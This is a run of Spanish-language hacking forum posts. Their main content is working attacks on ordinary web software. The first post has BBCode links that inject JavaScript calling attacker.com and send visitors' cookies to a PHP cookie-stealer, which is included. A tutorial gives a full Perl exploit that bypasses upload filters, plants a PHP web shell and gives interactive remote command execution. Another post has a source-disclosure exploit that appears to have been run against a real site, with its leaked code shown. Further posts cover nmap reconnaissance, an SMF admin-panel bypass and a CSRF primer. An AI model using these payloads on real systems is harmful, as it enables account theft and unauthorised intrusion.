[url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center]


Click on the image, run the javascript..

BBC Cookie Exploit:

Código: php
[center][size=14pt][url=][/url][/size]
[url=javascript:
document.write(unescape('%3Ciframe+width%3D%220%25%22+height%3D%220%25%22+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fcookiestealer.php%3Fcookie%3D%27+%2Bdocument.cookie+%2B%27+frameborder%3D%220%25%22%3E'));][img]http://www.google.com.mx/intl/es_mx/images/logo.gif[/img][/center]


PHP Cookie Stealer:

Código: php
<?php
$cookie = $_GET['cookie'];
$handler = fopen('cookies.txt', 'a');
fwrite($handler, $cookie."\n");
?>
#47
Estamos aquí con otro tutorial de como codear un exploit, esta vez vamos a empezar a marcar ciertos patrones que siempre (o en la mayoría de los casos) vamos a usar. Esta vez no vamos a usar una vulnerabilidad pública (siempre intentaré usar vulnerabilidad es públicas por aquello de que podais encontrar "ejemplos prácticos reales").

  Hay por ahí personas que aseguran que el 70% de los uploaders web presentan alguna forma de bypassearlos para subir extensiones que no estén permitidos. A mi humilde parecer estas cifras son demasiado altas, pero bueno... Hoy vamos a aplicar una forma automatizada de subir una shell PHP a un host a través de un uploader que presente un deficiente filtrado basado en mirar el MIME type o use la función getimagesize(). Aqui no vamos a hablar en detalle de cómo funcionan estos filtros, existe por ahí un paper que creo que era de vZack que hablaba más en profundidad de ello, os remito a que googleeis a por él.


   Si ya habeis localizado ese u otro paper que hable del tema podemos continuar.  Como habreis leido, si el script que sube el fichero bloquea los archivos PHP basándose en el MIME type, símplemente mandando una cabecera modificada donde se modifique el type por uno que esté permitido (normalmente un image/gif o image/jpeg);  y en el caso de getimagesize() símplemente con poner al inicio del archivo la cabecera de la extensión (GIF89a, en nuestro caso ya que nuestro exploit va a "camuflarse" como un .gif).


Bien, al igual que la otra ocasión, lo primero es ver cómo implementar la vulnerabilidad en un programa y segundo esquematizar mentalmente las partes de las que constará nuestro exploit. Para la primera cuestión es fácil, para subir el archivo mandamos una cabecera ya modificada que contenga nuestra shell con el identificador de extensión ya incluido, es decir algo así:



Código: php
GIF89a
<?php system($_GET['h']); ?>


Tras la primera parte, podemos deducir de inicio que vamos a necesitar los mismos módulos que la vez anterior (LWP y HTTP::Response::Common). Como variables necesaritaremo s una que indique la URL donde se sitúa el script PHP que actúa como uploader y otra que será la dirección donde se suben los ficheros

Nota: para el segundo se presupone que ya tenemos este conocimiento, lo normal es sacarlo por deducción observando la web o bien a través de un FPD

Despues tendremos que mandar la susodicha cabecera, y posteriormente ejecutaremos comandos directamente (por aquello de no ingresar a la URL por el navegador). El code (que paso a comentar línea a línea lo nuevo) sería algo parecido a esto:



Código: php
#!/usr/bin/perl


use LWP;
use HTTP::Request::Common;

unless ($ARGV[1]) { &usage; }

$url = $ARGV[0];
$upath = $ARGV[1];
$all = $upath.'fos.php?h=';

print q(
+---------------------------------------------------+
| Example of Bypass Upload & RCE                    |
| Codex: The X-C3LL                                 |
| Blog: http://0verl0ad.blogspot.com                |
| Gr3tz: F.O.S. Team && Seth                        |
+---------------------------------------------------+
);

$nav = LWP::UserAgent->new;

print "[+]Connecting with target...\n[+]Uploading shell...\n";
$res = $nav->request (POST $url,
Content_Type => 'form-data',
Content => [
userfile => ["fos.gif", "fos.php", "Content-Type" => "image/gif"],
],
) || die '[-]Error:', $res->status_line;
print "[+]Uploaded!\n[+]Connecting to shell...\n";
$head = $all.'id';
$get = $nav->get( $head ) || die '[-]Error:', $get->status_line;

print "============CONNECT TO SHELL============\n".$get->content;

do {
print "\n\n[--Exploit Shell---] ";
$command = <STDIN>;
$exe = $all.$command;
$eje = $nav->get ( $exe ) || die '[-]Error:', $get->status_line;
print $eje->content;
} until ($command == "salir");
exit;

sub usage {
print 'Usage: perl exploit.pl "URL DEL UPLOAD" "URL DONDE SE SUBEN"';
exit;
}



En estas líneas lo que hacemos es mandar la cabecera al upload con el bypass hecho. Nótese que nuestro fichero es fos.gif.

Código: php
$res = $nav->request (POST $url,
Content_Type => 'form-data',
Content => [
userfile => ["fos.gif", "fos.php", "Content-Type" => "image/gif"],
],
) || die '[-]Error:', $res->status_line;


Lo siguiente es, que si se ha subido el fichero, ingrese por GET ejecutando el comando id y muestra el resultado. El resto es un bucle DO-UNTIL en el cual emulará a una shell normal, en la cual nosotros introduciremos los comandos a ejecutar, dicho comando se pasará por GET al fichero que hemos subido, y nuestro exploit leera lo que vomita la web y te lo mostrará. Para dejar de mandar comandos y salir del exploit escribimos "salir":



Código: php
do {
print "\n\n[--Exploit Shell---] ";
$command = <STDIN>;
$exe = $all.$command;
$eje = $nav->get ( $exe ) || die '[-]Error:', $get->status_line;
print $eje->content;
} until ($command == "salir");
exit;


Hasta aquí todo bien. Ahora tenemos que ver las partes "nuevas" que hemos añadido para complementar un poco al exploit. La primera es hacer una comprobación de si todos los parámetros han sido introducidos, hay varias formas, esta quizás no es la más adecuada pero es sencilla y simple. Lo único que hace es comprobar si se introduce un segundo parámetro:



Código: php
unless ($ARGV[1]) { &usage; }


De tener un "syntax error" nos saltará la subrutina &usage; la cual definimos al final del código y consiste en simplemente mostrar un mensaje de como se usa y cerrar el script:



Código: php
sub usage {
print 'Usage: perl exploit.pl "URL DEL UPLOAD" "URL DONDE SE SUBEN"';
exit;
}


The X-C3LL


#48
CitarBueno para empezar ami mucho me interesó a interpretar y codear un Exploit , pués me encontré con varios post
y entre ellos me ví con esto que me interesó mucho y me ayudó. a parte de eso para tener un poco mas de entendimiento tienen que saber lenguajes básicos como Html, PHP y perl , el tema es escrito por The X-C3LL .
[/i]
=======================================================================================

Codeando un exploit I: Source Code Disclosure



La verdad es que es muy común ver mensajes en esta sección de "cómo codeo un exploit" al cual siempre contestamos de la misma forma "aprende a programar". Así que me he propuesto explicar de forma muy básica el cómo codearnos un exploits sencillos en perl. Como ahora mismo estoy en la previa a los exámenes, no tengo mucho tiempo, así que vamos a empezar con una vulnerabilidad sencilla como puede ser un Source Code Disclosure (SCD). Si no tienes ni idea de lo que és, hecha un ojo aquí ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).


  Para trabajar, vamos a usar una vulnerabilidad pública ya que descubrió Seth en un CMS llamado QuipusNews. En el link que os dejé viene una referencia a dicha vulnerabilidad y el exploit que codeó para explotarla. La verdad es que a día de hoy miras el exploit y te das cuenta de que se podría simplificar mucho.... y es lo que vamos a hacer, crear un exploit paralelo a ese pero más ordenado y simplificado.


  Así que lo primero que vamos a hacer va a ser localizar una web vulnerable para ver cómo funciona la vulnerabilidad (nos remitiremos al dork "Actualizado usando QuipusNews"). Cuando hayamos localizado un objetivo que use este CMS, procedemos a tratar de incluir un fichero (P.E.: index.php) y, cuando lo cargue, mirad el código fuente. Si todo ha ido bien, veremos el source de index.php

Bien de esta sencilla práctica podemos deducir cómo va a funciona nuestro exploit. Primero setearemos las variables, que a simple vista podemos ver que van a ser una para determinar el host vulnerable, otra para el directorio donde se sitúa el script vulnerable y una última para indicar qué archivo deseamos de ver.

  La segunda parte sería la de establecer la conexión con el host y leer el archivo que deseamos. En el exploit que codió Seth (y que le ayudé ) usaba sockets para esto. La verdad es que existe una forma más simplificada y es usando librerías especializadas que ya hagan este trabajo. Nosotros vamos a usar dos en concreto, LWP y HTTP. Aquí dejo el código y vamos a ir viéndolo parte por parte:


Código: php
(exploit.pl)
#!/usr/bin/perl


use LWP;
use HTTP::Request::Common;


my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = $ARGV[2];
my $url = 'http://'.$host.$path.'index.php?tpl='.$file;

my $nav = LWP::UserAgent->new;
my $res = $nav->get( $url ) || die 'ERROR:',  $res->status_line;

print $res->content;

exit;




Las primeras líneas:


Código: php
use LWP;
use HTTP::Request::Common;


Estas líneas son la declaración de qué modulos deben de incluirse para el funcionamiento del programa. En las siguientes,


Código: php
my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = $ARGV[2];


seteamos las variables que vamos a emplear, que son las que comenté anteriormente. Posteriormente concatenamos todo para tener la URL donde deberemos de ingresar:


Código: php
my $url = 'http://'.$host.$path.'index.php?tpl='.$file;


Posteriormente pasamos a crear una simulación de un navegador:



Código: php
my $nav = LWP::UserAgent->new;


Y procedemos a realizar una petición GET a la url que montemos concatenando los parámetros:



Código: php
my $res = $nav->get( $url ) || die 'ERROR:',  $res->status_line;


El la parte del die se emplea por si no ha habido suerte y ha ocurrido algún problema. Dicho problema se muestra a través de status_line (P.E.: 404 Not Found). Para finalizar mostramos el contenido en pantalla del código fuente:




Código: php
print $res->content;
exit;



No le he añadido detalles básicos al exploit, como puede ser algo de texto, la información sobre el bug y cómo lo explota, una subrutina &usage para mostra el uso en caso de syntax error, unos condicionales que verifiquen la sintaxis de los parámetros, etc... esto ya lo veremos otro día. Lo de hoy ha sido sínplemente una toma de contacto para que veais que los exploits no son programas místicos creados por el demonio inentendibles. Un exploit no es más que un programa.


Byt3z

PD: Se me olvidaba mostrar el output:



Código: php
[root@The-XC3LL Escritorio]# perl exploit.pl www.cubadebate .cu / index.php
<?php
//+-----------------------------------------------------+
//|     Chasqui(r)                                      |
//|     http://www.chasqui.cu/                          |
//|     [email protected]                              |
//+-----------------------------------------------------+
//|     Chasqui(r) Contents Management Division         |
//|     http://www.chasqui.cu/gestcont/                 |
//|     [email protected]                             |
//+-----------------------------------------------------+
//|     (c) Copyright 1999-2003 Chasqui(r)              |
//+-----------------------------------------------------+

//
// $Id$
//

@unlink("logs/error.log");
//include "clear_cache.ph p";

require_once "tms/template.lib.php";
require_once "tools/files.lib.php";
require_once "app/application.lib.php";

//  Estas constantes son necesarias para inicializar la aplicaci
define('CONFIGURATION_ FILE', './Configuration/application.xml');
define('COMPILED_CONF_ FILE', './Compiled/application.cfg');

define('OBJECTSDEF_FIL E', './Configuration/objects.xml');
define('OBJECTDEF_CFG_ FILE', './Compiled/objects.cfg');
define('OBJECTDEFS_CFG _DIR', '.');


The X-C3LL


#49
###################################
#Author: blood_rec                                               
#Colaborators: Georgio                                         
#blog: http://h4xxor.blogspot.com                         
#web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta                                         
#contact: blood_rec @el-hacker.org                       
#Musica Durante: Metallica                                   
###################################

                        Importancia de El
########################################################################
# Analisis De Puertos,Identificacion de sistema,servicios del mismo...                                                           
########################################################################
==========================================================================================================================================================
A-Introduccion:

A La hora de identificar u realizar una tarea de auditoria web en un servidor muchos cometen el error o caen en la actividad que al comenzar una tarea de auditoria siempre se van con la busqueda de las vulnerabilidades primero o a usar sus SSS (Shadow Security Scanner)...

A LA hora de identificar un sistema u realizar una auditoria podemos hacer las cosas bien a nivel de servidor/cliente,y como en el sexo debemos empezar primero poco a poco o no me van a decir que a la hora de estar con una chica llegan se lo meten y ya en tan solo 3 meses la chica lo mandara al carajo xD...

pues los sistemas son asi debemos ir poco a poco para interactuar con ellos ya que con solo identificar el sistemas scannear los puertos y servicios (Deamons) que gestiona el mismo podemos hacer cosas maravillosas sin nesesidad de utilizar otras tecnicas...

a veces se les puede tornar aburrido pero de esto se trata esto mientras mas areas vas cubriendo en el tema mucho mas acto eres para llegar a tus objetivos...solo me voy a basar en teorias y algunas practicas y pruebas que realizo en mi servidor local,donde poseo algunas aplicaciones vulnerables y no vulnerables pero podemos vulnerarlas atacando sus servicios u cosas xD...

El servidor en el cual esta todo instalado es un servidor Ubuntu 8.10 Kernel Generico  Apache/2.2.9 Suhosin-Patch Server con algunas aplicaciones como joomla,smf,wordpress y otro scripts programados. el servidor obviamente esta en mi red local., la maquina auditora esta con Slackware Kernel 2.6.21.5 (Una Laptop) y a la que la e convertido en una suite de pentesting...xD

B-Comienzo:

Bueno comenzaremos con Nmap O Zenmap cualquiera de los 2.ya que los comandos son practicamente lo mismo pero nos orientaremos a la primera ya que usaremos la consola en lo personal lo prefiero ya que es un poco mas rapido y de verdad que no me gusta la GUI de la misma xD para los gusto los colores y para el culo los mojones....xD pero pueden usar la que gusten...

Nmap es un scanner de puertos y servicios hasta con el mismo puedes identificar sistemas operativos de manera remota una herrmienta imprecindible para cualquier auditor,experto en seguridad,Administrador De Red,Sistema,Servidor,Lammer,Hacker,noob,geek,hasta el user normal pero es imprecindible si a estas alturas no sabes lo que es te ivito que busques en internet u entre a la pagina del autor.:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sigamos Para comenzar con un scanneo Basico veremos La manera de comenzar son comandos muy faciles de aprender de memoria pero empezemos poco a poco

Voy a Probar scaneando el servidor con las reglas del firewall excluyendo a la maquina auditora a ver que sucede?:

[ go0ns@squad # nmap 192.168.56.1

Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:29 GMT
All 1715 scanned ports on 192.168.56.1 are filtered
MAC Address: 00:76:62:6E:65:74 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 49.736 seconds ]

Acabamos de ver que el firewall de esa manera nos bloqueo todos los pedidos dejandonos muchos logs en el servidor auditado:

[ Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:636 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Ldaps
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:1723 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Tacacs
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:113 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Auth
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:23 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Telnet
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:53 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:DNS
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:HTTP
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Klogin ]

UFF jajaja solo son algunos de los que puede dejar ok agregamos una regla que es lo que un servidor normal pues deberia tener ya que debe dejar la entrada de las ip's pero no en todos los caso ya que las reglas aplican a algunos puertos pero excluyen a muchos pero aprenderemos como sacar el mejor provecho posible... Ahora Vamos Y Realizamos:

[ go0ns@squad # nmap 192.168.56.1

Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:28 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
1241/tcp open  nessus
2500/tcp open  rtsserv
MAC Address:Unknown)

Nmap done: 1 IP address (1 host up) scanned in 13.743 seconds
]

Ya tenemos identificado al menos lo inicial y miremos que tenemos como pudieron ver fue un scan bien basico solo los puertos /tcp como la mayoria de los scanners en la jungla esto scans son bien agresivos y siempre son agarrados por el firewall como vimos en el primer caso terminando por banear nuestra ip si el administrador tiene buenas reglas n el firewall:
#####################
#Puerto  | Servicio #
#####################
#25/tcp  | smpt     #
#80/tcp  | http     #
#110/tcp | pop3     #
#1241/tcp| nessus   #
#2500/tcp| rtsserv  #
#####################

Bueno analizemos tenemos 5 puertos identificados de primera instancia que se gestionan bajo el protocolo /tcp si no teneis conocimiento sobre que es el protcolo /tcp u los otros protocolos similares /udp y cosas pues no continues leyendo e instruyete desde 0 mijo...

en fin con el scaneo sencillo identificamos solo esos puertos como pudieron apreciar que el log del scan nos indica tambien que se encontraron Not shown: 1710 closed ports que estan entiendase o cerrados o filtrados Huh entonces preguntaran de como es posible si es una herramienta de scaneo de puertos y servicios pero de esto se trata de poder hacer las identificaciones especificas..

ahora queremos saber que sistema operativo tiene siempre como root asumiendo que estais en linux (igual puede hacerlo desde el otro sistema operativo) xD ok, pues realizamos

[ go0ns@squad # nmap -O 192.168.56.1

Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:32 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
1241/tcp open  nessus
2500/tcp open  rtsserv
MAC Address:  (Unknown)
No exact OS matches for host (If you know what OS is running on it, see No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).
TCP/IP fingerprint:
OS:SCAN(V=4.60%D=6/26%OT=25%CT=1%CU=33422%PV=Y%DS=1%G=Y%M=007662%TM=4A455AA
OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC
OS:D=1%ISR=CD%TI=Z%II=I%TS=U)OPS(O1=M5B4%O2=M5B4%O3=M5B4%O4=M5B4%O5=M5B4%O6
OS:=M5B4)WIN(W1=16D0%W2=16D0%W3=16D0%W4=16D0%W5=16D0%W6=16D0)ECN(R=Y%DF=Y%T
OS:=40%W=16D0%O=M5B4%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=N)U1(R=Y%DF=N%T=40%TOS=C0%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%TOSI=S%CD=S%SI=S%DLI=S)


Network Distance: 1 hop

OS detection performed. Please report any incorrect results at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .
Nmap done: 1 IP address (1 host up) scanned in 28.029 seconds
]

Bueno pudieron apreciar que nmap reacciono casi de la misma manera que con el 2do intento con un scaneo de puertos sencillo en los protocolos /tcp pero en este caso usamos el argumento -O para scanear el posible sistema operativo, como funciona? nmap envia cadenas especializadas a dos puertos especificos uno cerrado y uno abierto, estolo hace con el proposito de que cada sistema operativo reacciona de manera diferente a estas peticiones y como pudieron ver el scanner tubo problemas descubriendo el server que como mencione antes era ubuntu 8.10 pero igual vean los primeros resultados que se acercan a lo que queremos:

[ OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC ]

Los comandos basicos de nmap los pueden ir encontrando poco a poco que tal si cambiamos un poco los comandos para que vallan haciendose una idea y familiarizandose con dicho programa y la manera que tenemos como siempre de llagar a nuestro objetivo en este caso usaremos un scaneo intensivo pero rapido que se supone que nos arroje los resultados mas imprecindibles..

[go0ns@squad # nmap -T Aggressive -A -v 192.168.56.1

Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-27 01:43 GMT
Initiating ARP Ping Scan at 01:43
Scanning 192.168.56.1 [1 port]
Completed ARP Ping Scan at 01:43, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:43
Completed Parallel DNS resolution of 1 host. at 01:43, 13.00s elapsed
Initiating SYN Stealth Scan at 01:43
Scanning 192.168.56.1 [1715 ports]
Discovered open port 25/tcp on 192.168.56.1
Discovered open port 80/tcp on 192.168.56.1
Discovered open port 110/tcp on 192.168.56.1
Discovered open port 2500/tcp on 192.168.56.1
Discovered open port 1241/tcp on 192.168.56.1
Completed SYN Stealth Scan at 01:43, 0.55s elapsed (1715 total ports)
Initiating Service scan at 01:43
Scanning 5 services on 192.168.56.1
Completed Service scan at 01:43, 11.47s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.1
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 01:43
Completed SCRIPT ENGINE at 01:43, 5.05s elapsed
Host 192.168.56.1 appears to be up ... good.
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT     STATE SERVICE     VERSION
25/tcp   open  smtp        Postfix smtpd
|_ SMTP: HELP with errors or timeout.  Enable --script-trace to see what is happening.
80/tcp   open  http        Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp  open  pop3        hotwayd pop3d 0.8.4
1241/tcp open  ssl/unknown
2500/tcp open  smtp-proxy  hotsmtpd based on hotwayd 0.8.4
MAC Address:  (Unknown)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.23
Uptime: 0.089 days (since Fri Jun 26 23:35:55 2009)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  go0ns.s3rver

Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect results at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .
Nmap done: 1 IP address (1 host up) scanned in 33.036 seconds
           Raw packets sent: 1735 (77.100KB) | Rcvd: 1731 (80.266KB)  ]

Uff que lectura mas larga pero vamos a ver que datos contiene que nos pueden ayudar y ya se habran dado de cuenta de la gran diferencia con los resultados y el cambio de Parametros.

Veamos primero el scan y estas opciones para ver lo que relativamente es importante antes de probar este de ahora tratamos de identificar el sistema operativo lo que realizo fue adivinar el sistema operativo pero esta vez logramos de dar con el mismo mas especificamente y dar con los servicios que gestiona el mismo como los deamons miremos:

[ PORT     STATE SERVICE     VERSION
25/tcp   open  smtp        Postfix smtpd
|_ SMTP: HELP with errors or timeout.  Enable --script-trace to see what is happening.
80/tcp   open  http        Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp  open  pop3        hotwayd pop3d 0.8.4
1241/tcp open  ssl/unknown
2500/tcp open  smtp-proxy  hotsmtpd based on hotwayd 0.8.4 ]

Como podemos ver identifica nuevamente los puertos ya mencionados asi como los servicios y la version y magicamente identifica el sistema operativo que gestiona el server :

[ Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch ]

Sonrisa y la otra parte relativamente importante es que identifica la version de los servicios aunque esto no es tan fundamental por que puede que sea un falso asi como uno correcto pero aqui es que llega la intuicion del auditor de usar la logica ya que puedes ir teoricamente buscando cual es la version real de dicho servicio con la identificacion del sistema operativo.

y que resume esto? que podemos darnos con el escenario que la aplicacion web no es vulnerable pero si los servicios o deamons del mismo y podemos vulnerarla por ahi xD ELEMENTAL NO?

por eso es que es bien importante los scaneos de identificacion por que de muchas maneras puedes encontrar las vulnerabilidades si no lo son a nivel web son a nivel server pero siempre encontraras algo.Sigamos

[ OS details: Linux 2.6.13 - 2.6.23  ]

Nos indica mas o menos el kernel que corre bajo el sistema operativo pero no siempre se da este caso del mismo las mayoria de las veces lo atina..

otra de las herramientas que podemos encontrar por la jungla de la web es xprobe2 para la identificacion de sistemas operativos veamos:

[ go0ns.squad # xprobe2 -v  192.168.56.1

    * Primary guess:
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.22" (Guess probability: 100%)
    * Other guesses:
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.23" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.21" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.20" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.19" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.24" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.25" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.26" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.27" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.28" (Guess probability: 100%)
    * Cleaning up scan engine
    * Modules deinitialized
    * Execution completed  ]


casi igual como nmap lo unico que este tiene tareas mas especificas en la identificacion de sistemas operativos y nos arroja el mismo resultado que muchas veces pued confundir pero a medida que vallan perfeccionando las tecnicas dan con los mismos.

Otra herramienta que nos puede ayudar en la identificacion de sistemas y objetivos de la informacion del mismo es Maltego que se puede descargar desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con la que pueden sacar emails,directorios,archivos,dominios,sub dominios y otras cosas del servidor identificado.

entonces que es lo que quiero adentrar y detallar mas aqui solo queria explicarles que para identificar vulnerabilidades en un servidor no tienes primero que comenzar por la aplicacion web nesesariamente con tan solo con la identificacion misma del sistema puedes abrir muchas posibilidades a descubrir muchas mas cosas que solo las vulnerabilidades que tiene la web o el servidor...

si ya saben que pueden encontrar una aplicacion web en un servidor que no sea vulnerable que buscas por lados y no encuentras nadas pero se te olvido buscar los servicios que tiene el server pero cuando scaneas encuentras que tiene varios deamons que son vulnerables como el mencionado arriba que gestiona el correo postfix donde corre el servicio smpt y supongamos que ese servicio contiene un deamon que sea vulnerable a un buffer overflow o (desbordamiento) como quieran decirle entonces BINGO !!! haz encontrado algo al menos en mi servidor local solo hay muy ocos servicios gestionandose.

pero siempre alla fuera en la jungla encontrarn muchicimo mas como servicios de mysql,mssql,u otras cosas interesantes..

entonces siempre recuerden que la identificacion de sistemas es lo primero que debemos hacer a la hora de buscar vulnerabilidades en una web por que puedes llegar a encontrar puertas abiertas sin tener que registrar la aplicacion web y no te imaginas las posibilidades que hay dentro del mismo..

si si te preguntas SE PUEDE USAR NMAP PARA BUSCAR VULNERABILIDADES? no y si por que no te identificara las vulnes de primera instancia pero realiza algunas cadenas de reglas como metodos de scan que te audarian a identificar servicios sin actualizacion vulnerables a algunos ataques..

espero que esta breve explicacion sobre la importancia de la identificacion y puertos de un sistema les haya gustado ya Breve Pasamos al proximo Paper y Aqui les dejo una listita de algunas herramientas que te ayudarian en este renglon:
nmap
Zenmap
Amap
Maltego
httprint
unicornscan
xprobe

son herramientas con usos similares pero les pueden acomodar tareas especificas para sacarle provecho...

Greetz: JosS,alevsk,ANTRAX,h4n0wars,e-r00t.org,security-shell members,Darvein,y mis hijos por crecer tan rapido carajo xD..



###########
#blood_rec#
###########
#50
Bugs y Exploits / SMF .htaccess ByPass
Febrero 24, 2010, 03:26:19 PM
SMF .htaccess ByPass

Discovered by Seph1roth on June 2007 (was priv8)
#
# Vulnerable: Simple Machine Forum [ALL Versions]
#
# Visit: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Best hacking site.
#
# Description:

If smf has index.php?action=admin in .htaccess ,i can bypass that by typing in the url some variable of administration panel :

example:

index.php?action=admin (.htaccess,then access denied)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)

...and others...

i can bypass and enter the administration by typing the accessible variables in the url...

# Greets to all BlackRoots Users
#
# Shoutz to all kiddies
#
# ./end

-------------------

Traduccion rapidita:

Vulnerable: Simple Machine Forum [Todas las Versiones]

# Description:

si el smf tiene .htaccess en index.php?action=admin, se puede bypasear escribiendo en la url una variable dentro del panel de administracion.

Ejemplo:

index.php?action=admin (.htaccess, DENEGADO)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)

Bytes

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#51
Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits

1.) Presentación

2.) Que es CSRF

3.) Quien descubrió la vulnerabilidad CSRF

4.) CSRF  y Xss

5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits

6.) Testeando vulnerabilidad CSRF y programas el code vulnerable

7.) Sacando una conclusión a todo

8.) Como cuidar nuestra Web de este tipo de ataques

9.) Despedida


1.) Presentación

Primero que nada este tutorial va dedicado a mis amigos de BugDox  y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...

¿Por qué diferente?

Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados

¿A que se debe este tutorial?

Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?

Los saludos más especiales para mis compañeros:

Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz


2.) Que es CSRF

Bueno como muchos quizás han leído en la wikipedia ya csrf representa a
Cross Site Request Forgery el ataque se efectúa cuando por ejemplo  Vemos algo
Así No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.
Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde
Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}
Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL. 

3.) Quien descubrió la vulnerabilidad CSRF

En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un
Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso
